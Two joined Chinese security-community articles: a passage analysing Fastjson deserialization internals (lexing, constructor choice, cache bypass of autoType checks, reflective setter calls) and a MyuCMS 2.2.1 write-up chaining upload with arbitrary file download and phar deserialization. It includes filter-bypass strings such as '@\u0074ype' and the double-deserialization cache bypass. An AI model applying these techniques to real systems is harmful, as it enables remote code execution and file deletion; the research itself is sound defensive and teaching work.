从代码中可以看到，当下一个字符遇到也是双引号时，就会结束scanString()循环，因为Fastjson认为读取到的字符串为空字符串，接着就是EOI的判断，不过我们这边关心的是'\\\'的处理，因为在java中，只要是硬编码的字符串，对于一些转义字符，都需要使用'\'对其转义，那么'\\\'其实正真就代表则字符'\'
接着看后面的switch-case处理，可以看出，其实就是对json数据字符串中'\0 \1 \2 \3 \4 \5 \6 \7 \b \t \n
\u000B \f \F \r \" \\\ \x \u'等双字节字符的处理，总结一下：
例：
\0 \1 \2 \3 \4 \5 \6 \7 \b \t \n \r \" \' \/ \\\
等，java字符串读入之后会变成两个字符，因此，fastjson会把它转换会单个字符
\f \F双字符都会转成单字符\f
\v双字符转成\u000B单字符
\x..四字符16进制数读取转成单字符
\u....六字符16进制数读取转成单字符
**其实，对于\x和\u的词法处理，才是反序列化RCE中的核心，也就是我这一节词法解析中最想要讲的内容，我曾经遇到某道CTF题目，它在程序的filter层，对json数据的@type进行的过滤处理，而唯一能绕过它的办法，正恰恰是词法解析中对\x和\u也即16进制、Unicode的处理，通过对字符的十六进制转换或者Unicode处理，我们就可以通过以下的方式进行filter过滤器的绕过，而对于开发人员来说，也可以通过针对这种绕过方式进行filter的加强：**
**例：**
@\u0074ype -> @type
@\x74ype -> @type
接着就是执行DefaultJSONParser.parse()，根据上一步中token的识别，进行解析处理
public Object parse(Object fieldName) {
final JSONLexer lexer = this.lexer;
switch (lexer.token()) {
case SET:
...HashSet集合的处理
case TREE_SET:
...TreeSet集合的处理
case LBRACKET:
...读取到"["，数组的处理
case LBRACE:
...读取到"{"，对象解析的处理
case LITERAL_INT:
...
case LITERAL_FLOAT:
...
}
}
对象解析，反序列化的利用流程，基本都是走到LBRACE或LBRACKET中，进入对象的解析，而对象解析中，基本都会利用到符号表进行数据的提取：
public final Object parseObject(final Map object, Object fieldName) {
final JSONLexer lexer = this.lexer;
if (lexer.token() == JSONToken.NULL) {
lexer.nextToken();
return null;
}
if (lexer.token() == JSONToken.RBRACE) {
lexer.nextToken();
return object;
}
if (lexer.token() == JSONToken.LITERAL_STRING && lexer.stringVal().length() == 0) {
lexer.nextToken();
return object;
}
if (lexer.token() != JSONToken.LBRACE && lexer.token() != JSONToken.COMMA) {
throw new JSONException("syntax error, expect {, actual " + lexer.tokenName() + ", " + lexer.info());
}
ParseContext context = this.context;
try {
boolean isJsonObjectMap = object instanceof JSONObject;
Map map = isJsonObjectMap ? ((JSONObject) object).getInnerMap() : object;
boolean setContextFlag = false;
for (;;) {
lexer.skipWhitespace();
char ch = lexer.getCurrent();
if (lexer.isEnabled(Feature.AllowArbitraryCommas)) {
while (ch == ',') {
lexer.next();
lexer.skipWhitespace();
ch = lexer.getCurrent();
}
}
boolean isObjectKey = false;
Object key;
//判断到双引号开端的，利用符号表读取双引号闭合之间字符串，从而提取出key
if (ch == '"') {
key = lexer.scanSymbol(symbolTable, '"');
lexer.skipWhitespace();
ch = lexer.getCurrent();
if (ch != ':') {
throw new JSONException("expect ':' at " + lexer.pos() + ", name " + key);
}
} else if (ch == '}') {
...
}
...
//判断到key为@type，则进行checkAutoType，然后反序列化成Java Object
if (key == JSON.DEFAULT_TYPE_KEY
&& !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
...
clazz = config.checkAutoType(typeName, null, lexer.getFeatures());
...
ObjectDeserializer deserializer = config.getDeserializer(clazz);
Class deserClass = deserializer.getClass();
if (JavaBeanDeserializer.class.isAssignableFrom(deserClass)
&& deserClass != JavaBeanDeserializer.class
&& deserClass != ThrowableDeserializer.class) {
this.setResolveStatus(NONE);
} else if (deserializer instanceof MapDeserializer) {
this.setResolveStatus(NONE);
}
Object obj = deserializer.deserialze(this, clazz, fieldName);
return obj;
}
}
} finally {
this.setContext(context);
}
}
最后，总结一下：在反序列化RCE中，我们可以利用词法解析中\x\u的十六进制或者Unicode的处理，进行绕过一些检查机制。
#### 2、构造方法选择
构造方法的选择，我这一小节中，主要想讲解的是，在Fastjson反序列化中，针对每个class的特点，到底Fastjson会选择class的哪个构造方法进行反射实例化，到底是否可以不存在无参构造方法。
在上一节：
clazz = config.checkAutoType(typeName, null, lexer.getFeatures());
...
ObjectDeserializer deserializer = config.getDeserializer(clazz);
Class deserClass = deserializer.getClass();
if (JavaBeanDeserializer.class.isAssignableFrom(deserClass)
&& deserClass != JavaBeanDeserializer.class
&& deserClass != ThrowableDeserializer.class) {
this.setResolveStatus(NONE);
} else if (deserializer instanceof MapDeserializer) {
this.setResolveStatus(NONE);
}
Object obj = deserializer.deserialze(this, clazz, fieldName);
return obj;
在通过config.checkAutoType后会返回一个class，接着会根据class选择一个ObjectDeserializer，做Java
Object的反序列化
而对于ObjectDeserializer的选择，很多class返回的都是一些没有利用价值的ObjectDeserializer：
deserializer
├─ASMDeserializerFactory.java
├─AbstractDateDeserializer.java
├─ArrayListTypeFieldDeserializer.java
├─AutowiredObjectDeserializer.java
├─ContextObjectDeserializer.java
├─DefaultFieldDeserializer.java
├─EnumDeserializer.java
├─ExtraProcessable.java
├─ExtraProcessor.java
├─ExtraTypeProvider.java
├─FieldDeserializer.java
├─FieldTypeResolver.java
├─JSONPDeserializer.java
├─JavaBeanDeserializer.java
├─JavaObjectDeserializer.java
├─Jdk8DateCodec.java
├─MapDeserializer.java
├─NumberDeserializer.java
├─ObjectDeserializer.java
├─OptionalCodec.java
├─ParseProcess.java
├─PropertyProcessable.java
├─PropertyProcessableDeserializer.java
├─ResolveFieldDeserializer.java
├─SqlDateDeserializer.java
├─StackTraceElementDeserializer.java
├─ThrowableDeserializer.java
└TimeDeserializer.java
以及一些根据JSONType注解等不太会存在安全漏洞的条件处理，而对于大部分可利用gadget chains的处理，最终都会走到
com.alibaba.fastjson.parser.ParserConfig#getDeserializer(java.lang.reflect.Type)
->
com.alibaba.fastjson.parser.ParserConfig#getDeserializer(java.lang.Class<?>, java.lang.reflect.Type)
->
com.alibaba.fastjson.parser.ParserConfig#createJavaBeanDeserializer
接着在其中，构建了JavaBeanInfo，在build方法中，会构建一个JavaBeanInfo对象，其中存储了选择哪个构造方法、字段信息、反射调用哪个方法等等，用于在最后的反射实例化时，做相应的处理
JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz
, type
, propertyNamingStrategy
,false
, TypeUtils.compatibleWithJavaBean
, jacksonCompatible
);
跟进JavaBeanInfo.build
JSONType jsonType = TypeUtils.getAnnotation(clazz,JSONType.class);
if (jsonType != null) {
PropertyNamingStrategy jsonTypeNaming = jsonType.naming();
if (jsonTypeNaming != null && jsonTypeNaming != PropertyNamingStrategy.CamelCase) {
propertyNamingStrategy = jsonTypeNaming;
}
}
可以看到，一开始就会从class中取JSONType注解，根据注解配置去选择参数命名方式，默认是驼峰式
接着会取出class的字段、方法、构造方法等数据，并且判断出class非kotlin实现时，如果构造方法只有一个，则调用getDefaultConstructor获取默认的构造方法
Class<?> builderClass = getBuilderClass(clazz, jsonType);
Field[] declaredFields = clazz.getDeclaredFields();
Method[] methods = clazz.getMethods();
Map<TypeVariable, Type> genericInfo = buildGenericInfo(clazz);
boolean kotlin = TypeUtils.isKotlin(clazz);
Constructor[] constructors = clazz.getDeclaredConstructors();
Constructor<?> defaultConstructor = null;
if ((!kotlin) || constructors.length == 1) {
if (builderClass == null) {
defaultConstructor = getDefaultConstructor(clazz, constructors);
} else {
defaultConstructor = getDefaultConstructor(builderClass, builderClass.getDeclaredConstructors());
}
}
从getDefaultConstructor的实现中可以清楚的看到，对于这个构造方法，如果它是无参构造方法或一参（自身类型）构造方法，则就会作为默认构造方法（反序列化对Java
Object实例化时反射调用的构造方法），即defaultConstructor
static Constructor<?> getDefaultConstructor(Class<?> clazz, final Constructor<?>[] constructors) {
if (Modifier.isAbstract(clazz.getModifiers())) {
return null;
}
Constructor<?> defaultConstructor = null;
for (Constructor<?> constructor : constructors) {
if (constructor.getParameterTypes().length == 0) {
defaultConstructor = constructor;
break;
}
}
if (defaultConstructor == null) {
if (clazz.isMemberClass() && !Modifier.isStatic(clazz.getModifiers())) {
Class<?>[] types;
for (Constructor<?> constructor : constructors) {
if ((types = constructor.getParameterTypes()).length == 1
&& types[0].equals(clazz.getDeclaringClass())) {
defaultConstructor = constructor;
break;
}
}
}
}
return defaultConstructor;
}
若不存在这样特性的构造方法，则
boolean isInterfaceOrAbstract = clazz.isInterface() || Modifier.isAbstract(clazz.getModifiers());
if ((defaultConstructor == null && builderClass == null) || isInterfaceOrAbstract) {
...抽象类或接口类
} else if ((factoryMethod = getFactoryMethod(clazz, methods, jacksonCompatible)) != null) {
...使用JSONCreator注解指定构造工厂方法
} else if (!isInterfaceOrAbstract) {
...
for (Constructor constructor : constructors) {
Class<?>[] parameterTypes = constructor.getParameterTypes();
...
boolean is_public = (constructor.getModifiers() & Modifier.PUBLIC) != 0;
if (!is_public) {
continue;
}
String[] lookupParameterNames = ASMUtils.lookupParameterNames(constructor);
if (lookupParameterNames == null || lookupParameterNames.length == 0) {
continue;
}
if (creatorConstructor != null
&& paramNames != null && lookupParameterNames.length <= paramNames.length) {
continue;
}
paramNames = lookupParameterNames;
creatorConstructor = constructor;
}
...
}
从上述代码中可以了解到，若非接口类，并且没有使用JSONCreator注解的话，则会对构造方法进行遍历选择，如果是以下三个class的话，会直接作为构造方法creatorConstructor
org.springframework.security.web.authentication.WebAuthenticationDetails
org.springframework.security.web.authentication.preauth.PreAuthenticatedAuthenticationToken
org.springframework.security.core.authority.SimpleGrantedAuthority
而非public的构造方法会被直接跳过。
接着使用com.alibaba.fastjson.util.ASMUtils#lookupParameterNames获取出所有的构造方法参数，若取出的参数为空，则也会直接跳过。
若前面遍历构造方法时，已有creatorConstructor选择，以及asm取出的参数数量<=构造方法参数数量，则也会直接跳过。
也就是说，除非是非公有public的，否则必然会选择一个creatorConstructor。
defaultConstructor：无参和一参（自身类型入参）构造方法
creatorConstructor：非defaultConstructor，遍历取最后的一个构造方法
总结的来讲：若可以找到defaultConstructor，则不再遍历选择creatorConstructor，否则必须遍历查找creatorConstructor。
#### 3、缓存绕过
缓存绕过，这是什么意思？我们上一小节已经详细的描述并总结了构造方法的选择逻辑。其中构造方法的选择分为defaultConstructor和creatorConstructor
我们这一节主要分析的关键点：缓存绕过，位于com.alibaba.fastjson.parser.ParserConfig#checkAutoType(java.lang.String,
java.lang.Class<?>,
int)，它是在json数据反序列化时，通过@type指定class后，对class是否可被反序列化进行检查，其中检查包括黑名单、白名单、构造方法等
我们跟进com.alibaba.fastjson.parser.ParserConfig#checkAutoType(java.lang.String,
java.lang.Class<?>, int)：
if (typeName == null) {
return null;
}
if (typeName.length() >= 192 || typeName.length() < 3) {
throw new JSONException("autoType is not support. " + typeName);
}
可以看到，一开始的地方，会对typeName做一定的检查，typeName是我们传入json数据@type这个key对应的值value
final boolean expectClassFlag;
if (expectClass == null) {
expectClassFlag = false;
} else {
if (expectClass == Object.class
|| expectClass == Serializable.class
|| expectClass == Cloneable.class
|| expectClass == Closeable.class
|| expectClass == EventListener.class
|| expectClass == Iterable.class
|| expectClass == Collection.class
) {
expectClassFlag = false;
} else {
expectClassFlag = true;
}
}
接着是对一些期望class的判断，若不是期望中反序列化指定的class，后续黑白名单的检查会不管是否启用autoTypeSupport。
String className = typeName.replace('$', '.');
Class<?> clazz = null;
final long BASIC = 0xcbf29ce484222325L;
final long PRIME = 0x100000001b3L;
final long h1 = (BASIC ^ className.charAt(0)) * PRIME;
if (h1 == 0xaf64164c86024f1aL) { // [
throw new JSONException("autoType is not support. " + typeName);
}
if ((h1 ^ className.charAt(className.length() - 1)) * PRIME == 0x9198507b5af98f0L) {
throw new JSONException("autoType is not support. " + typeName);
}
final long h3 = (((((BASIC ^ className.charAt(0))
* PRIME)
^ className.charAt(1))
* PRIME)
^ className.charAt(2))
* PRIME;
boolean internalWhite = Arrays.binarySearch(INTERNAL_WHITELIST_HASHCODES,
TypeUtils.fnv1a_64(className)
) >= 0;
if ((!internalWhite) && (autoTypeSupport || expectClassFlag)) {
long hash = h3;
for (int i = 3; i < className.length(); ++i) {
hash ^= className.charAt(i);
hash *= PRIME;
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, true);
if (clazz != null) {
return clazz;
}
}
if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
再接着，会对className的前两位字符进行判断是否允许，然后会二分查找内部白名单INTERNAL_WHITELIST_HASHCODES，若不在内部白名单内，并且开启了autoTypeSupport或者是预期以外的class，则会对className后面的字符继续进行hash处理后与外部白名单、黑名单进行判断，决定其是否被支持反序列化。
if (clazz == null) {
clazz = TypeUtils.getClassFromMapping(typeName);
}
if (clazz == null) {
clazz = deserializers.findClass(typeName);
}
if (clazz == null) {
clazz = typeMapping.get(typeName);
}
if (internalWhite) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, true);
}
if (clazz != null) {
if (expectClass != null
&& clazz != java.util.HashMap.class
&& !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
从上面的代码中，我们可以看到有好几个if流程从jvm缓存中获取class，也即会对class进行一定的判断，决定是否从缓存map中加载，我们这一节重点关注的其实是TypeUtils.getClassFromMapping：
if (clazz == null) {
clazz = TypeUtils.getClassFromMapping(typeName);
}
跟进TypeUtils.getClassFromMapping代码实现，可以看到，其具体是从mappings缓存中获取class
public static Class<?> getClassFromMapping(String className){
return mappings.get(className);
}
接着会判断class是否在内部白名单内，若在白名单内，会直接通过检查，返回class
if (internalWhite) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, true);
}
跟进TypeUtils.loadClass，可以看到第三个参数true，决定了在其方法实现中是否会对查找出来的class进行缓存到mappings
public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) {
...
try{
if(classLoader != null){
clazz = classLoader.loadClass(className);
if (cache) {
mappings.put(className, clazz);
}
return clazz;
}
} catch(Throwable e){
e.printStackTrace();
// skip
}
try{
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
if(contextClassLoader != null && contextClassLoader != classLoader){
clazz = contextClassLoader.loadClass(className);
if (cache) {
mappings.put(className, clazz);
}
return clazz;
}
} catch(Throwable e){
// skip
}
try{
clazz = Class.forName(className);
if (cache) {
mappings.put(className, clazz);
}
return clazz;
} catch(Throwable e){
// skip
}
return clazz;
}
下一步，可以看到，又是一段黑白名单的检查代码，不过这次是autoTypeSupport不启用的情况下
if (!autoTypeSupport) {
long hash = h3;
for (int i = 3; i < className.length(); ++i) {
char c = className.charAt(i);
hash ^= c;
hash *= PRIME;
if (Arrays.binarySearch(denyHashCodes, hash) >= 0) {
throw new JSONException("autoType is not support. " + typeName);
}
// white list
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
if (clazz == null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, true);
}
if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
}
}
接着，在这段代码中通过asm对其class进行visit，取出JsonType注解信息
boolean jsonType = false;
InputStream is = null;
try {
String resource = typeName.replace('.', '/') + ".class";
if (defaultClassLoader != null) {
is = defaultClassLoader.getResourceAsStream(resource);
} else {
is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);
}
if (is != null) {
ClassReader classReader = new ClassReader(is, true);
TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);
classReader.accept(visitor);
jsonType = visitor.hasJsonType();
}
} catch (Exception e) {
// skip
} finally {
IOUtils.close(is);
}
而从后续代码中也可以了解到，若到这一步，class还是null的时候，就会对其是否注解了JsonType、是否期望class、是否开启autotype进行判断。若判断通过，然后会判断是否开启autotype或是否注解了JsonType，从而觉得是否会在加载class后，对其缓存到mappings这个集合中，那也就是说，我只要开启了autoType的话，在这段逻辑就会把class缓存道mappings中
if (clazz == null && (autoTypeSupport || jsonType || expectClassFlag)) {
boolean cacheClass = autoTypeSupport || jsonType;
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
}
上面这一块是一个很关键的地方，也是我这一小节缓存绕过的主要核心
最后，也就是我们需要去绕过的地方了，像一般大部分情况下，我们基本不可能找到注解有JsonType的class的gadget
chains，所以，这一步中对jsonType判断，然后缓存class到mappings基本就没什么利用价值了。但这块逻辑中，我们需要注意的其实是JavaBeanInfo在build后，对其creatorConstructor的判断
if (clazz != null) {
if (jsonType) {
TypeUtils.addMapping(typeName, clazz);
return clazz;
}
if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
|| javax.sql.DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
|| javax.sql.RowSet.class.isAssignableFrom(clazz) //
) {
throw new JSONException("autoType is not support. " + typeName);
}
if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
TypeUtils.addMapping(typeName, clazz);
return clazz;
} else {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}
JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, clazz, propertyNamingStrategy);
if (beanInfo.creatorConstructor != null && autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
}
}
if (!autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
}
从creatorConstructor和autoTypeSupport的判断流程中，我们可以得知，只要autoTypeSupport为true，并且creatorConstructor（上一小节就是描述构造方法的选择，这里判断的构造方法是第二种选择）不为空，则会抛出异常，而后面的!autoTypeSupport判断，也表示了，就算上一步通过设置autoTypeSupport为true可以绕过，但是最终也避免不了它抛出异常的制裁：
if (!autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
}
那怎么办呢？这时候就得看前面的代码了，我前面也说了，在对黑白名单进行一轮检查后的时候，会有这个判断：
if (clazz == null) {
clazz = TypeUtils.getClassFromMapping(typeName);
}
public static Class<?> getClassFromMapping(String className){
return mappings.get(className);
}
从mappings中直接获取，接着在后面判断道class不为空时，直接就返回了，从而提前结束该方法执行，绕过构造方法creatorConstructor和autoTypeSupport的判断
if (clazz != null) {
if (expectClass != null
&& clazz != java.util.HashMap.class
&& !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
那我们怎么才能从缓存中获取到class呢？答案其实前面也说了：
if (clazz == null && (autoTypeSupport || jsonType || expectClassFlag)) {
boolean cacheClass = autoTypeSupport || jsonType;
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
}
对，没错，就是这里，我们只要开启了autoTypeSupport，绕后通过两次反序列化，在第一次反序列化时，虽然最后会抛出异常，但是在抛异常前，做了上述代码中的缓存class到mappings的处理，那么，在第二次反序列化该class的时候，我们就可以顺利的从缓存中取出了，从而绕过后面的判断。
#### 4、反射调用
反射调用，就是fastjson反序列化的最后一个阶段了，当经历了前面：词法解析、构造方法选择、缓存绕过阶段之后，我们离RCE就差最后的一步了，也就是反射调用，从而触发gadget
chain的执行，最终实现RCE。
接着，又回到DefaultJSONParser.parseObject来，也就是第2小节构造方法选择部分
ObjectDeserializer deserializer = config.getDeserializer(clazz);
Class deserClass = deserializer.getClass();
if (JavaBeanDeserializer.class.isAssignableFrom(deserClass)
&& deserClass != JavaBeanDeserializer.class
&& deserClass != ThrowableDeserializer.class) {
this.setResolveStatus(NONE);
} else if (deserializer instanceof MapDeserializer) {
this.setResolveStatus(NONE);
}
Object obj = deserializer.deserialze(this, clazz, fieldName);
return obj;
前面也说了，大部分可利用的gadget chain，config.getDeserializer(clazz)最终都会走到
com.alibaba.fastjson.parser.ParserConfig#getDeserializer(java.lang.reflect.Type)
->
com.alibaba.fastjson.parser.ParserConfig#getDeserializer(java.lang.Class<?>, java.lang.reflect.Type)
->
com.alibaba.fastjson.parser.ParserConfig#createJavaBeanDeserializer
而反射调用，是选择setter还是getter方法调用，亦或者是直接反射field设值，它需要一系列的判断处理，最终确定下来在JavaBeanDeserializer中执行deserialze时，到底会做什么样的反射调用处理
我们跟进JavaBeanInfo.build，前面一大段，我们在讲构造方法选择的时候已经简单讲过了，但是我们并没讲一个小地方，就是FieldInfo的创建和添加
if (creatorConstructor != null && !isInterfaceOrAbstract) { // 基于标记 JSONCreator 注解的构造方法
...
if (types.length > 0) {
...
FieldInfo fieldInfo = new FieldInfo(fieldName, clazz, fieldClass, fieldType, field,
ordinal, serialzeFeatures, parserFeatures);
add(fieldList, fieldInfo);
...
}
//return new JavaBeanInfo(clazz, builderClass, null, creatorConstructor, null, null, jsonType, fieldList);
} else if ((factoryMethod = getFactoryMethod(clazz, methods, jacksonCompatible)) != null) {
...
Field field = TypeUtils.getField(clazz, fieldName, declaredFields);
FieldInfo fieldInfo = new FieldInfo(fieldName, clazz, fieldClass, fieldType, field,
ordinal, serialzeFeatures, parserFeatures);
add(fieldList, fieldInfo);
...
} else if (!isInterfaceOrAbstract) {
...
if (paramNames != null
&& types.length == paramNames.length) {
...
FieldInfo fieldInfo = new FieldInfo(paramName, clazz, fieldClass, fieldType, field,
ordinal, serialzeFeatures, parserFeatures);
add(fieldList, fieldInfo);
...
}
}
在省略大部分无关代码后，可以看到，对于这三种情况下的处理，最终都是实例化FieldInfo，然后直接调用add添加到集合fieldList中来，但是细心去看FieldInfo重载的构造方法可以发现，它存在多个构造方法，其中就有入参method的构造方法：
public FieldInfo(String name, //
Class<?> declaringClass, //
Class<?> fieldClass, //
Type fieldType, //
Field field, //
int ordinal, //
int serialzeFeatures, //
int parserFeatures)
public FieldInfo(String name, //
Method method, //
Field field, //
Class<?> clazz, //
Type type, //
int ordinal, //
int serialzeFeatures, //
int parserFeatures, //
JSONField fieldAnnotation, //
JSONField methodAnnotation, //
String label)
public FieldInfo(String name, //
Method method, //
Field field, //
Class<?> clazz, //
Type type, //
int ordinal, //
int serialzeFeatures, //
int parserFeatures, //
JSONField fieldAnnotation, //
JSONField methodAnnotation, //
String label,
Map<TypeVariable, Type> genericInfo)
这种构造方法意味着什么？在后面执行JavaBeanDeserializer.deserialze时，会发现，具有method入参的字段，很有可能会触发方法的执行，从而可以触发gadget
chain的执行。
接着，后面就是一串惆怅的代码，无非就是根据setter方法名称智能提取出field名字...，其中会对所有的方法进行两次的遍历，我这边简单总结一下：
* 第一遍
```
* 静态方法跳过
* 返回值类型不为Void.TYPE和自身class类型的方法跳过
* 获取JSONField注解，确定字段field名称，然后和方法添加到集合中
* 没有JSONField则判断方法名长度是否大于4，不大于4则跳过
* 判断是否set前缀，不是则跳过
* 根据setter方法名从第四个字符开始确定字段field名称（需把第一个字符转小写），若是boolean类型，则需把字段第一个字符转大写，然后前面拼接is
* 根据字段名获取到字段Field后，判断是否注解了JSONField，获取JSONField注解，确定字段field名称，然后和方法添加到集合中
* 根据setter方法确定的字段名添加到集合
```
* 第二遍
1. 判断方法名长度是否大于4，不大于4则跳过
2. 静态方法跳过
3. 判断方法名称是否get前缀，并且第四个字符为大写，不符合则跳过
4. 方法有入参则跳过
5. 方法返回值不是Collection.class、Map.class、AtomicBoolean.class、AtomicInteger.class、AtomicLong.class或其子孙类则跳过
6. 获取方法上的注解JSONField，根据注解取字段名称
7. 根据getter方法名从第四个字符开始确定字段field名称（需把第一个字符转小写），若是boolean类型，则需把字段第一个字符转大写
8. 根据字段名获取到字段Field后，判断是否注解了JSONField，获取JSONField注解，确定字段field是否可以被反序列化，不可被反序列化则跳过
9. 根据字段名获取集合中是否已有FieldInfo，有则跳过
10. 根据getter方法确定的字段名添加到集合
以上就是总结，从这些总结，我们就不难分析，fastjson反序列化时，class到底哪个方法能被触发。
最后，对于这些添加到集合fieldList中的FieldInfo，会在JavaBeanDeserializer.deserialze中被处理
protected <T> T deserialze(DefaultJSONParser parser, //
Type type, //
Object fieldName, //
Object object, //
int features, //
int[] setFlags) {
...
try {
Map<String, Object> fieldValues = null;
if (token == JSONToken.RBRACE) {
lexer.nextToken(JSONToken.COMMA);
if (object == null) {
object = createInstance(parser, type);
}
return (T) object;
}
...
} finally {
if (childContext != null) {
childContext.object = object;
}
parser.setContext(context);
}
}
从上述代码可以看到，配对"@type":"..."之后，如果下一个token不为"}"，即JSONToken.RBRACE，则获取反序列化器进行反序列化，根据前面扫描Field得到的信息以及json后续的key-value进行反序列化，如果下一个token为"}"，则直接反射实例化返回
判断下一个token为"["，即JSONToken.LBRACKET，则进行数组处理
if (token == JSONToken.LBRACKET) {
final int mask = Feature.SupportArrayToBean.mask;
boolean isSupportArrayToBean = (beanInfo.parserFeatures & mask) != 0 //
|| lexer.isEnabled(Feature.SupportArrayToBean) //
|| (features & mask) != 0
;
if (isSupportArrayToBean) {
return deserialzeArrayMapping(parser, type, fieldName, object);
}
}
调用构造方法
if (beanInfo.creatorConstructor != null) {
...
try {
if (hasNull && beanInfo.kotlinDefaultConstructor != null) {
object = beanInfo.kotlinDefaultConstructor.newInstance(new Object[0]);
for (int i = 0; i < params.length; i++) {
final Object param = params[i];
if (param != null && beanInfo.fields != null && i < beanInfo.fields.length) {
FieldInfo fieldInfo = beanInfo.fields[i];
fieldInfo.set(object, param);
}
}
} else {
object = beanInfo.creatorConstructor.newInstance(params);
}
} catch (Exception e) {
throw new JSONException("create instance error, " + paramNames + ", "
+ beanInfo.creatorConstructor.toGenericString(), e);
}
...
}
最后，通过FieldDeserializer对字段进行反序列化处理，其中，会利用到FieldInfo前面构建时，收集到的信息，例如method、getOnly等，进行判断是否调用某些方法
FieldDeserializer fieldDeserializer = getFieldDeserializer(entry.getKey());
if (fieldDeserializer != null) {
fieldDeserializer.setValue(object, entry.getValue());
}
可以看到，对于method不为空的fieldInfo，若getOnly为false，则直接反射执行method，若getOnly为true，也就是只存在对应字段field的getter，而不存在setter，则会对其method的返回类型进行判断，若符合，才会进行反射执行该method
Method method = fieldInfo.method;
if (method != null) {
if (fieldInfo.getOnly) {
if (fieldInfo.fieldClass == AtomicInteger.class) {
AtomicInteger atomic = (AtomicInteger) method.invoke(object);
if (atomic != null) {
atomic.set(((AtomicInteger) value).get());
}
} else if (fieldInfo.fieldClass == AtomicLong.class) {
AtomicLong atomic = (AtomicLong) method.invoke(object);
if (atomic != null) {
atomic.set(((AtomicLong) value).get());
}
} else if (fieldInfo.fieldClass == AtomicBoolean.class) {
AtomicBoolean atomic = (AtomicBoolean) method.invoke(object);
if (atomic != null) {
atomic.set(((AtomicBoolean) value).get());
}
} else if (Map.class.isAssignableFrom(method.getReturnType())) {
Map map = (Map) method.invoke(object);
if (map != null) {
if (map == Collections.emptyMap()
|| map.getClass().getName().startsWith("java.util.Collections$Unmodifiable")) {
// skip
return;
}
map.putAll((Map) value);
}
} else {
Collection collection = (Collection) method.invoke(object);
if (collection != null && value != null) {
if (collection == Collections.emptySet()
|| collection == Collections.emptyList()
|| collection.getClass().getName().startsWith("java.util.Collections$Unmodifiable")) {
// skip
return;
}
collection.clear();
collection.addAll((Collection) value);
}
}
} else {
method.invoke(object, value);
}
}
而对于method为空的情况，根本就不可能对method进行反射调用，除了构建实例时选择的构造方法
} else {
final Field field = fieldInfo.field;
if (fieldInfo.getOnly) {
if (fieldInfo.fieldClass == AtomicInteger.class) {
AtomicInteger atomic = (AtomicInteger) field.get(object);
if (atomic != null) {
atomic.set(((AtomicInteger) value).get());
}
} else if (fieldInfo.fieldClass == AtomicLong.class) {
AtomicLong atomic = (AtomicLong) field.get(object);
if (atomic != null) {
atomic.set(((AtomicLong) value).get());
}
} else if (fieldInfo.fieldClass == AtomicBoolean.class) {
AtomicBoolean atomic = (AtomicBoolean) field.get(object);
if (atomic != null) {
atomic.set(((AtomicBoolean) value).get());
}
} else if (Map.class.isAssignableFrom(fieldInfo.fieldClass)) {
Map map = (Map) field.get(object);
if (map != null) {
if (map == Collections.emptyMap()
|| map.getClass().getName().startsWith("java.util.Collections$Unmodifiable")) {
// skip
return;
}
map.putAll((Map) value);
}
} else {
Collection collection = (Collection) field.get(object);
if (collection != null && value != null) {
if (collection == Collections.emptySet()
|| collection == Collections.emptyList()
|| collection.getClass().getName().startsWith("java.util.Collections$Unmodifiable")) {
// skip
return;
}
collection.clear();
collection.addAll((Collection) value);
}
}
} else {
if (field != null) {
field.set(object, value);
}
}
}
至此，四个关键点得分析就此结束！ | 社区文章 |
# 前言
MyuCMS开源内容管理系统,采用ThinkPHP开发而成的社区商城聚合，插件，模板，轻便快捷容易扩展．
基于TP框架的审计思路，我一般会先翻一遍框架的已知漏洞去套娃,或者利用不安全的函数溯源.
(以下漏洞均提交CNVD)
# 环境
> apache2+mysql+php5.6
>
> MyuCMS 2.2.1
>
> debian
# 漏洞原理
**限制：需要一个前台账户,注册即可**
**利用前台会员账户可以上传图片，再利用前台任意文件下载触发phar反序列化.**
# 漏洞分析
## 前台文件上传(文件后缀限制)
文件：application/index/controller/Upload.php
利用函数`Pic`可以上传文件，但是后缀限制`jpg,png,gif`．如果要执行图片马需要利用文件包含.翻了下没有发现可控的包含点.
## 前台任意文件下载
文件：application/bbs/controller/Index.php
继续跟进`download`方法
只要`is_file`函数成功判断传入的$filename为合理函数就能够执行下方的`readfile`方法
由于这里没有任何限制，可以下载任意文件.
有趣的是，`is_file`函数是会触发 **phar反序列化**
Demo测试
## 漏洞复现
**Myucms** 是基于 **tp5.0.x** 开发，刚了一天没有发现可以rce的反序列化利用链，找到一条可以实现任意文件删除，可以删除
**install.lock** 进行重装.还有一条SSRF可以参考:[ThinkPHP
5.0反序列化利用链学习](https://c014.cn/pdfs/%5BTP%E7%B3%BB%E5%88%97IV%5DThinkPHP%205.0%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%88%A9%E7%94%A8%E9%93%BE%E5%AD%A6%E4%B9%A0.html)
### EXP
